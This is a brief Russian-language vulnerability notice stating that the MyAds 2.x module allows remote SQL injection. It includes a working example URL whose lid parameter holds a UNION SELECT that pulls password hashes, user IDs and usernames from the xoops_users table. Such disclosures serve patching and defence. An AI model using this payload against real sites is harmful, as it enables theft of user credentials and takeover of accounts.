Программа: MyAds 2.x
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.
Пример:
http://www.site.com/modules/myAds/annonces-p-f.php?op=ImprAnn&lid= -1+union+select+1,pass,uid,uname,5,6,7,8,9,10,11,12, 13+from+xoops_users+limit+1,1/*
